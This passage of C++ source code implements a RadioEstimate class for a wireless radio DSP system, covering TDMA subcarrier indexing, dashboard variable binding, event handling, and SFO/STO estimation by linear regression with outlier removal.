  }\n// }\n\nRadioEstimate::RadioEstimate(\n    HiggsDriver *s, \n    EventDsp *_dsp, \n    size_t p, \n    struct event_base* e,\n    size_t ary_index,\n    bool setup_fsm\n                    ) : soapy(s)\n                        ,dsp(_dsp)\n                        ,settings((soapy->settings))\n                        ,demod(new RadioDemodTDMA(ary_index, p, DATA_TONE_NUM, SUBCARRIER_CHUNK))\n                        ,dispatchOp(new siglabs::rb::DispatchGeneric())\n                        ,peer_id(p)                     // peer id, (was) written on the wall in the hallway\n                        ,array_index(ary_index)\n                        ,evbase_localfsm(e)\n                        ,should_setup_fsm(setup_fsm)\n                        ,verifyHash(new VerifyHash())\n                         {\n\n\n    demod->setIndex(getIndexForDemodTDMA());\n\n    // setAdvanceCallback expects a std::function.  This function must be of the form\n    //        // void name(size_t,uint32_t);\n    // and must not be a member function.\n    // However we CAN pass a member function if we create a std::function using a lambda.\n    // This lambda allows us to bind to the EventDsp pointer and pass it.\n\n    // We put the nameless lamba directly as the argument, and it looks a bit like javascript\n\n    // demod->setAdvanceCallback([_dsp](const size_t a, const uint32_t b) {\n    //     _dsp->advancePartnerSchedule(a,b);\n    // });\n    demod->setSetPartnerTDMACallback([_dsp](const size_t a, const uint32_t b, const uint32_t c) {\n        _dsp->setPartnerTDMA(a,b,c);\n    });\n    demod->setRingbusCallback([_dsp](const size_t a, const raw_ringbus_t* const b) {\n        _dsp->zmqRingbusPeerLater(a, b, 0);\n    });\n\n    dispatchOp->setCallback([](const uint32_t _sel, const uint32_t _val) {\n        cout << \"Variable index #\" << _sel << \" has value \" << HEX32_STRING(_val) << \"\\n\";\n    }, GENERIC_READBACK_PCCMD);\n\n\n\n    cfo_update_counter = 100000;\n    cfo_estimated_sent = 0.0;\n    sfo_estimated_sent = 0.0;\n    coarse_ok = false;\n    times_cfo_sent = 0;\n    times_sfo_sent = 0;\n    times_sto_sent = 0;\n    times_residue_phase_sent = 0;\n    times_eq_sent = 0;\n    times_coarse_estimated = 0;\n    coarse_state = 0;\n    trigger_coarse = false;\n    print_first_residue_phase_sent = false; // for printing\n    delay_cfo = 0;\n    delay_residue_phase = 0;\n    prev_coarse_ok = false;\n    applied_sfo = false;\n    should_run_background = false;\n    should_mask_data_tone_tx_eq = true;\n    should_mask_all_data_tone = false;\n    pause_eq = false;\n\n    // read this value once now into a bool which is used in loops below for performance\n    should_print_estimates = GET_PRINT_SFO_CFO_ESTIMATES();\n\n    all_eq_mask.resize(1024);\n\n    enable_residue_to_cfo = false;\n    residue_to_cfo_delay = 1000*1000;\n    residue_to_cfo_factor = 0.9;\n    pause_residue = false;\n\n    times_sfo_estimated = 0;\n    times_sto_estimated = 0;\n    times_cfo_estimated = 0;\n    times_sto_estimated_p = 0;\n    times_sfo_estimated_p = 0;\n    times_cfo_estimated_p = 0;\n    times_dsp_run_channel_est = 0;\n\n\n    old_demod_print_counter_limit = 128;\n    old_demod_print_counter = 0;\n\n    est_remote_perf = 0;\n    // cpu_load.resize(1); // FIXME\n\n\n\n    // allow_epoc_adjust = false;\n\n    map_mov_packets_sent = 0;\n    map_mov_acks_received = 0;\n\n\n    sto_estimated = 0.0;\n    residue_phase_estimated = 0.0;\n    residue_phase_estimated_pre = 0.0;\n\n    // sfo_done_flag = false;\n    // sto_done_flag = false;\n    // cfo_done_flag = false;\n    cheq_done_flag = false;\n    cheq_onoff_flag = false;\n    reset_flag = true;\n    residue_phase_flag = false;\n\n    equalizer_coeff_sent.resize(1024);\n    channel_angle.resize(1024);\n\n    pilot_angle.resize(1024);\n\n    channel_angle_sent.resize(1024);\n    channel_angle_sent_temp.resize(1024);\n\n    cheq_background_counter = 0;\n\n    // only set this once, so we can use init.json to change\n    // (\"dsp.residue.rate_divisor\")\n    // but its easy to change via rc console\n    drop_residue_target = GET_RESIDUE_RATE_DIVISOR();\n\n    // sfo_estimated_sent_array.resize(SFO_ARRAY_SIZE);\n\n\n    margin = GET_STO_MARGIN();\n\n    initChannelFilter();\n\n\n    applyeqonce = true;\n\n\n    /////////////////////////////////////////////////////\n    // for(int index = 0; index<SFO_ARRAY_SIZE; index++)\n    // {\n    //     sfo_estimated_sent_array[index] = 0.0;\n    // }\n    // sfo_estimated_sent_array_index = 0;\n\n\n    /////////////////////////////////////////////////////\n\n    _dashboard_eq_update_ratio = GET_ONLY_UPDATE_RATE_DIVISOR();\n    _dashboard_eq_update_counter = 0;\n    _dashboard_only_update_channel_angle_r0 = GET_ONLY_UPDATE_CHANNEL_ANGLE_R0();\n    demod->_print_fine_schedule = GET_PRINT_RE_FINE_SCHEDULE();\n\n\n\n\n    // const uint32_t SYNC_WORD = 0xcafebabe;\n\n    feedback_alive_count = 0;\n\n    _cfo_symbol_num = GET_CFO_SYMBOL_NUM();\n    _sfo_symbol_num = GET_SFO_SYMBOL_NUM();\n\n    _eq_use_filter = GET_EQ_USE_FILTER();\n\n    _print_on_new_message = GET_PRINT_RE_NEW_MESSAGE();\n\n    most_recent_event.d0 = NOOP_EV;\n    fsm_event_pending = NOOP_EV;\n\n    last_print_small_mag = init_timepoint = last_residue_timepoint = std::chrono::steady_clock::now();\n\n\n\n    setupEqOne();\n\n    epoc_valid = false;\n    setupEqToSto();\n\n    // initTun();\n\n\n    if(should_setup_fsm) {\n        tieAll();\n    }\n\n    // sub constructor\n    dspSetupDemod();\n\n    if(should_setup_fsm) {\n        setup_localfsm();\n        init_localfsm();\n    }\n}\n\nuint32_t RadioEstimate::getPeerId() const {\n    return peer_id;\n}\nuint32_t RadioEstimate::getArrayIndex() const {\n    return array_index;\n}\n\n/// returns the index into demod_buf (for all radios)\n/// remember that there are originally 64 full subcarriers we forward to the pc\n/// then we strip out all the pilots.\n/// this must be parallel to getAllTransmitTDMA()\n/// however this value is modified by the reverse mover because\n/// this value is an index into the OUTPUT of the reverse mover divided by 2\n/// these fixed values are assuming a fixed reverse mover\nstd::vector<unsigned> RadioEstimate::getAllDemodTDMA() {\n    std::vector<unsigned> values = {31,30};\n    return values;\n}\n\n/// All subcarrier index from the transmitters indexing scheme\n/// is used for TDMA subcarrier\n/// This must be parallel to getAllDemodTDMA()\n/// This is also the index scheme used for transmit eq\nstd::vector<unsigned> RadioEstimate::getAllTransmitTDMA() {\n    // 1024 - 1007 = 17\n    std::vector<unsigned> values = {17,19};\n    return values;\n}\n\n/// Index into demod_buf this radio should use\nunsigned RadioEstimate::getIndexForDemodTDMA() const {\n    const std::vector<unsigned> values = getAllDemodTDMA();\n\n    if(array_index >= values.size()) {\n        cout << \"ILLEGAL VALUE IN getIndexForDemodTDMA() \" << array_index << \"\\n\";\n        return 0;\n    }\n    return values[array_index];\n}\n\n\n/// tx Subcarrier to use for TDMA\nunsigned RadioEstimate::getScForTransmitTDMA() const {\n    const std::vector<unsigned> values = getAllTransmitTDMA();\n\n    if(array_index >= values.size()) {\n        cout << \"ILLEGAL VALUE IN getScForTransmitTDMA() \" << array_index << \"\\n\";\n        return 0;\n    }\n    return values[array_index];\n}\n\n#define VEC_ID(ai, idx) ((TIE_VECTOR_RANGE) + (TIE_VECTOR_PER_INDEX*(ai)) + (idx))\n\nvoid RadioEstimate::tieAll() {\n    // RE.update('toxJkynrJzB4h4Beo', {'$set' : {sfo:{sfo_estimated:99}}})\n    // soapy->tieDashboard\n    uint32_t ai = this->array_index;\n\n\n    // sto\n    dsp->tieDashboard<size_t>(&times_sto_estimated, ai, \"sto\", \"times_sto_estimated\" );\n    dsp->tieDashboard<double>(&sto_estimated, ai, \"sto\", \"sto_estimated\");\n    dsp->tieDashboard<double>(&sto_delta, ai, \"sto\", \"sto_delta\");\n\n    // sfo\n    dsp->tieDashboard<double>(&sfo_estimated, ai, \"sfo\", \"sfo_estimated\" );\n    dsp->tieDashboard<double>(&sfo_estimated_sent, ai, \"sfo\", \"sfo_estimated_sent\" );\n    dsp->tieDashboard<size_t>(&times_sfo_estimated, ai, \"sfo\", \"times_sfo_estimated\" );\n    dsp->tieDashboard<size_t>(&times_sfo_sent, ai, \"sfo\", \"times_sfo_sent\");\n    dsp->tieDashboard<bool>(&applied_sfo, ai, \"sfo\", \"applied_sfo\");\n    \n    // cfo\n    dsp->tieDashboard<double>(&cfo_estimated, ai, \"cfo\", \"cfo_estimated\");\n    dsp->tieDashboard<double>(&cfo_estimated_sent, ai, \"cfo\", \"cfo_estimated_sent\");\n    dsp->tieDashboard<size_t>(&times_cfo_sent, ai, \"cfo\", \"times_cfo_sent\" );\n    dsp->tieDashboard<size_t>(&times_cfo_estimated, ai, \"cfo\", \"times_cfo_estimated\" );\n\n    // residue\n    dsp->tieDashboard<double>(&residue_phase_trend, ai, \"residue\", \"residue_phase_trend\" );\n\n    // eq (not vector parts of eq)\n    dsp->tieDashboard<size_t>(&times_eq_sent, ai, \"eq\", \"times_eq_sent\" );\n    // this is the data tone that the schecule sync is running on\n\n\n\n    dsp->tieDashboard<double>(&cpu_load[0], ai, \"system\", \"cs20\", \"cpu_load\" );\n    dsp->tieDashboard<size_t>(&peer_id, ai, \"system\", \"peer_id\");\n\n// size_t times_cfo_sent;\n//     size_t times_cfo_estimated;\n\n    dsp->tieDashboard(&radio_state, ai, \"fsm\", \"state\");\n    dsp->tieDashboard(&should_run_background, ai, \"fsm\", \"control\", \"should_run_background\");\n    dsp->tieDashboard(&should_mask_data_tone_tx_eq, ai, \"fsm\", \"control\", \"should_mask_data_tone_tx_eq\");\n    dsp->tieDashboard(&should_mask_all_data_tone, ai, \"fsm\", \"control\", \"should_mask_all_data_tone\");\n\n    // dsp->tieDashboard<int32_t>(&demod_est_common_phase, ai, \"demod\", \"demod_est_common_phase\");\n    // dsp->tieDashboard<int32_t>(&radio_state, ai, \"demod\", \"demod_special_phase\");\n\n    //     should_run_background = false;\n    // should_mask_data_tone_tx_eq = true;\n\n    // dsp->tieDashboard<vector<double>>(&channel_angle, VEC_ID(ai,0), \"vector\");\n\n    // dsp->tieDashboard<vector<double>>(&radio_state, ai, \"schedule\", \"history\");\n\n    dsp->tieDashboard(&demod->tdma_phase, ai, \"demod\", \"tdma_phase\");\n    dsp->tieDashboard(&demod->times_matched_tdma_6, ai, \"demod\", \"times_matched_tdma_6\");\n    dsp->tieDashboard(&demod->data_subcarrier_index, ai, \"demod\", \"data_subcarrier_index\");\n    dsp->tieDashboard(&demod->track_demod_against_rx_counter, ai, \"demod\", \"track_demod_against_rx_counter\");\n    dsp->tieDashboard(&demod->track_record_rx, ai, \"demod\", \"track_record_rx\");\n    dsp->tieDashboard(&demod->last_mode_sent, ai, \"demod\", \"last_mode_sent\");\n    dsp->tieDashboard(&demod->last_mode_data_sent, ai, \"demod\", \"last_mode_data_sent\");\n    \n\n    dsp->tieDashboard(&demod->td->found_dead, ai, \"demod\", \"td\", \"found_dead\");\n    dsp->tieDashboard(&demod->td->sent_tdma, ai, \"demod\", \"td\", \"sent_tdma\");\n\n    dsp->tieDashboard(&demod->td->lifetime_tx, ai, \"demod\", \"td\", \"lifetime_tx\");\n    dsp->tieDashboard(&demod->td->lifetime_rx, ai, \"demod\", \"td\", \"lifetime_rx\");\n    dsp->tieDashboard(&demod->td->fudge_rx, ai, \"demod\", \"td\", \"fudge_rx\");\n    dsp->tieDashboard(&demod->td->needs_fudge, ai, \"demod\", \"td\", \"needs_fudge\");\n\n\n\n\n    \n\n    dsp->tieDashboard<bool>(&cheq_done_flag, ai, \n        \"fsm\", \"flags\", \"cheq_done_flag\");\n    dsp->tieDashboard<bool>(&cheq_onoff_flag, ai,\n        \"fsm\", \"flags\", \"cheq_onoff_flag\");\n\n\n    // vector types\n    // for vectors\n    // I will do it a bit different, because they are always large\n    // alwaus use \"vector\", we will use the UUID to differentiate\n\n    dsp->tieDashboard<vector<double>>(&channel_angle, VEC_ID(ai,0), \"vector\");\n\n    dsp->tieDashboard<vector<double>>(&pilot_angle, VEC_ID(ai,0), \"vector\");\n\n    dsp->tieDashboard<vector<double>>(&channel_angle_sent, VEC_ID(ai,1), \"vector\");\n\n    //\n    // dsp->tieDashboard<vector<double>>(&channel_angle_sent, VEC_ID(ai,1), \"vector\");\n\n    // FIXME get a better way for cpu loads\n\n    // dsp->tieDashboard<vector<double>>(&channel_angle_sent, VEC_ID(ai,1), \"vector\");\n\n\n\n\n\n    // dsp->tieDashboard<size_t>(&times_cfo_estimated, ai, \"sfo\", \"times_sfo_estimated\");\n\n    // dsp->tieDashboard<uint32_t>(&b, array_index, (tie_path_t){\"sfo\", \"b\"});\n    // dsp->tieDashboard<double>(&f, array_index, (tie_path_t){\"sfo\", \"f\"});\n\n\n\n\n\n}\n\nvoid RadioEstimate::handleCustomEvent(const custom_event_t* const e) {\n    if( _print_on_new_message ) {\n        cout << \"RadioEstimate::handleCustomEvent() d0 \" << e->d0 << \" d1 \" << e->d1 << endl;\n    }\n    switch(e->d0) {\n        case REQUEST_FINE_SYNC_EV:\n            if( e->d1 == array_index) {\n                most_recent_event = *e; // this is how we tell the fsm we got an event\n                \n                if( _print_on_new_message ) {\n                    cout << \"Radio \" << this->array_index << \" matched event\" << endl;\n                    cout << \"After event_active\" << endl;\n                }\n                \n            }\n            break;\n        case CHECK_TDMA_EV:\n        case REQUEST_TDMA_EV:\n            if( e->d1 == array_index) {\n                most_recent_event = *e;\n            }\n\n            break;\n    }\n}\n\nvoid RadioEstimate::sendEvent(const custom_event_t e) {\n    dsp->sendEvent(&e);\n}\n\n\nvoid RadioEstimate::resetCoarseState() {\n    if( dsp->_rx_should_insert_sfo_cfo ) {\n        cout << \"Warning resetCoarseState() while dsp's _rx_should_insert_sfo_cfo flag is set\\n\";\n    }\n\n    // sfo_buf\n    sfo_estimated = 0;\n\n    size_t burned;\n\n    burned = sfo_buf.dump();\n    cout << \"sfo_buf dumped \" << burned << \" elements\\n\";\n    burned = cfo_buf.dump();\n    cout << \"cfo_buf dumped \" << burned << \" elements\\n\";\n\n\n    stopBackground();\n\n    residue_phase_estimated = 0;\n    residue_phase_estimated_pre = 0;\n    residue_phase_flag = false;\n    residue_phase_trend = 0;\n    residue_phase_history.resize(0);\n    times_residue_phase_sent = 0;\n\n    // resetting this to zero is illegal, we should reset either to the data in init.json\n    // or to the hot start data..ugh\n    // cfo_estimated = 0;\n    // cfo_estimated_sent = 0;\n    // dsp->setPartnerCfo(peer_id, cfo_estimated*-1);\n\n    // times_sto_estimated = 0;\n    // times_sfo_estimated = 0;\n    // times_cfo_estimated = 0;\n\n    // dspRunResiduePhase\n    // dspRunCfo_v1\n    // updatePartnerCfo\n\n}\n\nvoid RadioEstimate::resetTdmaState() {\n    // track_demod_against_rx_counter\n    // times_wait_tdma_state_0\n}\n\n\nvoid RadioEstimate::setup_localfsm()\n{\n    localfsm_next       = event_new(evbase_localfsm, -1, EV_PERSIST, handle_localfsm_tick, this);\n    localfsm_next_timer = evtimer_new(evbase_localfsm, handle_localfsm_tick, this);\n    // slow_poll_cpu_timer = evtimer_new(evbase_localfsm, handle_slow_poll_cpu_load, this);\n\n\n    // struct timeval timeout = { .tv_sec = 3, .tv_usec = 0 };\n    // evtimer_add(slow_poll_cpu_timer, &timeout);\n}\n\n// call this to start the fsm running\n// init and reset the fsm state\nvoid RadioEstimate::init_localfsm()\n{\n    \n    radio_state_pending = radio_state = DID_BOOT;\n\n    // calls the event ON THE SAME STACK as us\n    event_active(localfsm_next, EV_WRITE, 0);\n    // cout<<\"@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@\"<<endl;\n}\n\n\n/**\nCalculates an sfo estimate by consuming `_sfo_symbol_num` samples at a time,\nwhich are removed from `sfo_buf`.\n\nThis actually **runs on the HiggsFineSync thread (an async from there)**\n\n\nInput Member Variables:\n-------------------\n- sfo_buf\n\nOutput Member Variables:\n-----------------------\n- sfo_buf (removes values)\n- sto_estimated\n- times_sto_estimated\n- times_sfo_estimated\n\n*/\n\nvoid RadioEstimate::dspRunSfo_v1(void) {\n\n    if(sfo_buf.size() < _sfo_symbol_num) {\n        cout << \"r\" << array_index << \" dspRunSfo_v1() called with too few samples \" << sfo_buf.size() << \"\\n\";\n        return;\n    }\n\n    cout << \"dspRunSfo_v1.size() \" << sfo_buf.size() << endl;\n\n   \n    // if(peer_id == 0)\n    // {\n    //         time_t now = time(0);\n   \n    //        // convert now to string form\n    //        char* dt = ctime(&now);\n\n    //        cout << \"SFO estimate timer:    \"<<dt<<endl;\n    // }\n\n\n\n    ////////////////////////////////////////////////////////////\n\n    std::vector<uint32_t> sfo_buf_chunk = sfo_buf.get(_sfo_symbol_num);\n\n    //// for debug purpose\n\n    // if((array_index == 0))\n    // {\n    //     for(int index; index<1000;index++)\n    //     {\n    //         cout<<sfo_buf_chunk[index]<<\",\"<<endl;\n    //     }\n    // }\n    \n    ///////////////////////////////////////////////////////////////\n\n    if( sfo_sto_use_duplex == false ) {\n\n        double constant_for_pilot_gap = 1.0;\n        (void)constant_for_pilot_gap;\n        ///// calculate sfo\n        double sfo_x_mean = (_sfo_symbol_num-1)/2.0;\n        double sfo_y_mean = 0.0;\n        \n\n        double sfo_xx_sum = 0.0;\n\n        {\n            uint32_t x = 0;\n            for(auto n : sfo_buf_chunk)\n            {\n                int32_t temp;\n\n                if(n>0x7fff)\n                //if(n>0x9fff)\n                {\n                    temp = n - 0x10000;\n                }\n                else\n                {\n                    temp = n;\n                }\n\n                sfo_y_mean = sfo_y_mean + temp*(1.0);\n\n                sfo_xx_sum = sfo_xx_sum + (x*1.0-sfo_x_mean)*(x*1.0-sfo_x_mean);\n\n                x++;\n               \n            }\n        }\n\n        sfo_y_mean = sfo_y_mean/_sfo_symbol_num;\n\n        \n\n\n        double sfo_yx_sum = 0.0;\n        \n        {\n            uint32_t x = 0;\n            for(auto n : sfo_buf_chunk)\n            {\n                int32_t temp;\n\n                if(n>0x7fff)\n                //if(n>0x9fff)\n                {\n                    temp = n - 0x10000;\n                }\n                else\n                {\n                    temp = n;\n                }\n\n                sfo_yx_sum = sfo_yx_sum + (temp*(1.0)-sfo_y_mean)*(x*1.0-sfo_x_mean);\n\n                x++;\n            }\n        }\n\n        sfo_estimated = SFO_ADJ*1.0*sfo_yx_sum/sfo_xx_sum;\n        sto_estimated = sfo_y_mean;\n\n        if( should_print_estimates ) {\n            cout << \"r\" << array_index << \" sfo_estimated                \" << sfo_estimated <<\"   \"<< HEX32_STRING(uint32_t(sto_estimated))<<\"   \"<<((uint32_t)(abs(sto_estimated))>>STO_ADJ_SHIFT)<< endl;\n        }\n\n        /////// to see if it can improve the accuracy of estimation\n        double sfo_slope = sfo_yx_sum/sfo_xx_sum;\n        double sfo_intercept = sfo_y_mean - sfo_slope*sfo_x_mean;\n\n        double sfo_data_remove_outlier[_sfo_symbol_num];\n        double data_temp = 0.0;\n\n        uint32_t index = 0;\n\n        int sfo_fitting_threshold = GET_SFO_FITTING_THRESHOLD();\n\n        for(auto n : sfo_buf_chunk)\n        {\n                  \n      \n            if(n>0x7fff)\n            //if(n>0x9fff)    \n            {\n                data_temp = (65536-n)*(-1.0);\n            }\n            else\n            {\n                data_temp = n*1.0;\n            }\n            if(abs(data_temp-(index*sfo_slope+sfo_intercept))<= sfo_fitting_threshold)  //// this threashold is very important, for antenna it may be 800; while for cable, it may be 100\n            {\n                sfo_data_remove_outlier[index] = data_temp;\n            }\n            else\n            {\n                sfo_data_remove_outlier[index] = index*sfo_slope+sfo_intercept;\n            }\n            index=index+1;\n        }\n\n\n        sfo_x_mean = (_sfo_symbol_num-1)/2.0;\n        sfo_y_mean = 0.0;\n\n        sfo_xx_sum = 0.0;\n\n        for(uint32_t x = 0; x<_sfo_symbol_num; x++)\n        {\n            \n            sfo_y_mean = sfo_y_mean + sfo_data_remove_outlier[x];\n\n            sfo_xx_sum = sfo_xx_sum + (x*1.0-sfo_x_mean)*(x*1.0-sfo_x_mean);\n           \n        }\n\n        sfo_y_mean = sfo_y_mean/_sfo_symbol_num;\n\n        sfo_yx_sum = 0.0;\n        \n        for(uint32_t x = 0; x<_sfo_symbol_num; x++)  \n        {\n            sfo_yx_sum = sfo_yx_sum + (sfo_data_remove_outlier[x]*1.0-sfo_y_mean)*(x*1.0-sfo_x_mean);\n\n        }  \n\n        sfo_estimated = SFO_ADJ*1.0*sfo_yx_sum/sfo_xx_sum;\n        sto_estimated = sfo_y_mean;\n    }\n\n    ///////////////////////////////////////////////////////////////////\n\n    // sfo_done_flag = true;\n    // sto_done_flag = true;\n\n    times_sto_estimated++;\n    times_sfo_estimated++;\n\n    dsp->tickle(&times_sfo_estimated);\n    dsp->tickle(&times_sto_estimated);\n    dsp->tickle(&sto_estimated);\n    dsp->tickle(&sfo_estimated);\n\n\n    //////////////////////simple try for sto_estimated////////////////////////////\n\n    if( sfo_sto_use_duplex ) {\n        std::vector<uint32_t> sfo_array_no_zero;\n\n        for(unsigned index=0; index<_sfo_symbol_num; index++)\n        {\n            if(sfo_buf_chunk[index] != 0)\n            {\n                sfo_array_no_zero.push_back(sfo_buf_chunk[index]);\n            }\n        }\n\n        auto sfo_array_no_zero_len = sfo_array_no_zero.size();\n\n\n        double sfo_y_mean = 0.0;\n\n       for(auto n : sfo_array_no_zero)\n        {\n            int32_t temp;\n\n            if(n>0x7fff)\n            //if(n>0x9fff)\n            {\n                temp = n - 0x10000;\n            }\n            else\n            {\n                temp = n;\n            }\n\n            sfo_y_mean = sfo_y_mean + temp*(1.0);\n        }\n\n        sto_estimated = sfo_y_mean/(sfo_array_no_zero_len*1.0);\n    }\n\n\n/////////////////////////////////////////////////////////////////////////////////////////\n\n\tbool use_cfo_for_sfo = true;\n\t\n\tif( use_cfo_for_sfo ) {\n\t    sfo_estimated = cfo_estimated/30.0;\n\t}\n\n    if( should_print_estimates ) { \n        cout << \"r\" << array_index << \" sfo_estimated (reestimated)  \" << sfo_estimated <<\"   \"<< HEX32_STRING(uint32_t(sto_estimated))<<\"   \"<<((uint32_t)(abs(sto_estimated))>>STO_ADJ_SHIFT)<<endl;\n    }\n\n\n    // cout << \"r\" << array_index << \" sfo_estimated (from cfo_estimated)  \" << sfo_estimated <<endl;\n\n    // //for debug purpose\n    // if(abs(sfo_estimated)>GET_SFO_RESTIMATE_TOL())\n    // {\n    //     // for(int index=0; index<1000; index++)\n    //     // {\n    //     //     cout<<sfo_buf_chunk[index*100]<<\",\"<<endl;\n    //     // }\n\n    //     dspRunSfo_v11(sfo_buf_chunk);\n\n    // }\n\n    // if( adjust_sto_using_sfo ) {\n    //     updateStoUsingSfo();\n    // }\n\n    // sfo_tracking_0 = sfo_tracking_1;\n    // sfo_tracking_1 = sfo_estimated;\n\n\n\n    // //for debug purpose\n    // if((sfo_estimated)<-20)\n    // {\n    //     // for(int index=0; index<1000; index++)\n    //     // {\n    //     //     cout<<sfo_buf_chunk[index*100]<<\",\"<<endl;\n    //     // }\n\n    //     dspRunSfo_v11(sfo_buf_chunk);\n\n\n    // }\n\n    // if((abs(sfo_estimated)<=1)&&(((uint32_t)(abs(sto_estimated))>>STO_ADJ_SHIFT)>0))\n    // {\n    //     for(int index = 0; index<1000; index++)\n    //     {\n    //         cout<<sfo_buf_chunk[index*100]<<\",\"<<endl;\n    //     }\n    // }\n}\n\nvoid RadioEstimate::compensateFractionalSto(void) {\n\n    double x = ((uint32_t)(abs(sto_estimated)))*1.0/256.0;\n\n    cout << \"!!!!!!!!!!!!!franctional sto is:            \" << x<< \"\\n\";\n\n    double x_sign = 1.0;\n\n    if(sto_estimated>0)\n    {\n        x_sign = -1.0;\n    }\n    else\n    {\n        x_sign=1.0;\n    }\n\n    rotateVectorBySto(channel_angle_sent, channel_angle_sent_temp, x, x_sign);\n\n    const double mag_coeff = 32767.0 / GET_EQ_MAGNITUDE_DIVISOR();\n\n    for(int index = 0; index<1024; index++) {\n        int32_t real_part = (int32_t)(cos(channel_angle_sent_temp[index])*mag_coeff);\n        int32_t imag_part = (int32_t)(sin(channel_angle_sent_temp[index])*mag_coeff);\n        equalizer_coeff_sent[index] = (((uint32_t)(imag_part&0xffff))<<16) + ((uint32_t)(real_part&0xffff));\n    }\n\n\n\n    // for flip positive and negative frequency\n    // eventually, we do not need this part.\n    for(int index = 1; index < 512; index++)\n    {\n        uint32_t temp = equalizer_coeff_sent[index];\n\n        equalizer_coeff_sent[index] = equalizer_coeff_sent[1024-index];\n        equalizer_coeff_sent[1024-index] = temp;\n    }\n\n\n\n\n\n\n\n}\n\nvoid RadioEstimate::updateStoUsingSfo(void) {\n    if( update_sto_sfo_counter < update_sto_sfo_delay) {\n        update_sto_sfo_counter++;\n        return;\n    }\n    update_sto_sfo_counter = 0;\n\n    const double local_sto = sto_estimated / 256.0;\n    \n    if( abs(local_sto) <= update_sto_sfo_tol ) {\n        return;\n    }\n\n\n\n    const double direction = local_sto>0?1:-1;\n\n    const double adjust = update_sto_sfo_bump * direction;\n\n    sfo_estimated = adjust;\n\n    cout << \"updateStoUsingSfo() choosing \" << sfo_estimated << \"\\n\";\n\n    updatePartnerSfo();\n}\n\n\nvoid RadioEstimate::dspRunSfo_v11(const std::vector<uint32_t>& sfo_buf_chunk) {\n\n    cout << \"dspRunSfo_v11 \" << sfo_buf_chunk.size() << endl;\n\n    ///// calculate sfo\n    double sfo_x_mean = (_sfo_symbol_num-1)/2.0;\n    double sfo_y_mean = 0.0;\n    \n    uint32_t x = 0;\n\n    double sfo_xx_sum = 0.0;\n\n    for(auto n : sfo_buf_chunk)\n    {\n        int32_t temp;\n\n        temp = n;\n\n        sfo_y_mean = sfo_y_mean + temp*(1.0);\n\n        sfo_xx_sum = sfo_xx_sum + (x*1.0-sfo_x_mean)*(x*1.0-sfo_x_mean);\n\n        x=x+1;\n       \n    }\n\n    sfo_y_mean = sfo_y_mean/_sfo_symbol_num;\n\n    \n\n\n    double sfo_yx_sum = 0.0;\n    \n    x = 0;\n\n    for(auto n : sfo_buf_chunk)  \n    {\n        int32_t temp;\n\n        temp = n;\n\n        sfo_yx_sum = sfo_yx_sum + (temp*(1.0)-sfo_y_mean)*(x*1.0-sfo_x_mean);\n\n        x=x+1;\n    }  \n\n    sfo_estimated = SFO_ADJ*1.0*sfo_yx_sum/sfo_xx_sum;\n    sto_estimated = sfo_y_mean;\n    \n    if( should_print_estimates ) {\n        cout << \"r\" << array_index << \" sfo_estimated                \" << sfo_estimated <<\"   \"<< HEX32_STRING(uint32_t(sto_estimated))<<\"   \"<<((uint32_t)(abs(sto_estimated))>>STO_ADJ_SHIFT)<< endl;\n    }\n\n    /////// to see if it can improve the accuracy of estimation\n    double sfo_slope = sfo_yx_sum/sfo_xx_sum;\n    double sfo_intercept = sfo_y_mean - sfo_slope*sfo_x_mean;\n\n    double sfo_data_remove_outlier[_sfo_symbol_num];\n    double data_temp = 0.0;\n\n    int sfo_fitting_threshold = GET_SFO_FITTING_THRESHOLD();\n\n    uint32_t index = 0;\n    for(auto n : sfo_buf_chunk)\n    {\n              \n  \n        \n        data_temp = n*1.0;\n    \n\n        if(abs(data_temp-(index*sfo_slope+sfo_intercept))<=sfo_fitting_threshold)\n        {\n            sfo_data_remove_outlier[index] = data_temp;\n        }\n        else\n        {\n            sfo_data_remove_outlier[index] = index*sfo_slope+sfo_intercept;\n        }\n        index=index+1;\n    }\n\n\n    sfo_x_mean = (_sfo_symbol_num-1)/2.0;\n    sfo_y_mean = 0.0;\n\n    sfo_xx_sum = 0.0;\n\n    for(uint32_t i = 0; i<_sfo_symbol_num; i++)\n    {\n        \n        sfo_y_mean = sfo_y_mean + sfo_data_remove_outlier[i];\n\n        sfo_xx_sum = sfo_xx_sum + (i*1.0-sfo_x_mean)*(i*1.0-sfo_x_mean);\n       \n    }\n\n    sfo_y_mean = sfo_y_mean/_sfo_symbol_num;\n\n    sfo_yx_sum = 0.0;\n    \n    for(uint32_t i = 0; i<_sfo_symbol_num; i++)  \n    {\n        sfo_yx_sum = sfo_yx_sum + (sfo_data_remove_outlier[i]*1.0-sfo_y_mean)*(i*1.0-sfo_x_mean);\n\n    }  \n\n    sfo_estimated = SFO_ADJ*1.0*sfo_yx_sum/sfo_xx_sum;\n    sto_estimated = sfo_y_mean;\n\n    ///////////////////////////////////////////////////////////////////\n\n    // sfo_done_flag = true;\n    // sto_done_flag = true;\n\n\n\n    if( should_print_estimates ) {\n        cout << \"sfo_estimated (reestimated)  \" << sfo_estimated <<\"   \"<< HEX32_STRING(uint32_t(sto_estimated))<<\"   \"<<((uint32_t)(abs(sto_estimated))>>STO_ADJ_SHIFT)<< endl;\n    }\n    //for debug purpose\n    // if((sfo_estimated)<-20)\n    // {\n    //     for(int index=0; index<1000; index++)\n    //     {\n    //         cout<<sfo_buf_chunk[index*100]<<\",\"<<endl;\n    //     }\n\n        \n    // }\n\n}\n\nvoid RadioEstimate::startBackground() {\n    times_sto_estimated_p = times_sto_estimated;\n    times_sfo_estimated_p = times_sfo_estimated;\n    times_cfo_estimated_p = times_cfo_estimated;\n    should_run_background = true;\n    pause_residue = false;\n    last_eq_to_sto = std::chrono::steady_clock::now();\n    eq_to_sto_allowed = true;\n    use_sto_eq_method = false;\n    times_eq_sent = 0;\n    pause_eq = false;\n    // fractional_eq_allowed = true;\n    if(GET_CFO_ADJUST_USING_RESIDUE()) {\n        cout << \"GET_CFO_ADJUST_USING_RESIDUE() was true\\n\";\n        enable_residue_to_cfo = true;\n    }\n}\n\nvoid RadioEstimate::stopBackground() {\n    times_sfo_estimated = 0;\n    times_sto_estimated = 0;\n    times_cfo_estimated = 0;\n    times_sto_estimated_p = 0;\n    times_sfo_estimated_p = 0;\n    times_cfo_estimated_p = 0;\n    should_run_background = false;\n    enable_residue_to_cfo = false;\n    eq_to_sto_allowed = false;\n    // fractional_eq_allowed = false;\n    use_sto_eq_method = false;\n}\n\nvoid RadioEstimate::continualBackgroundEstimates() {\n\n    // size_t 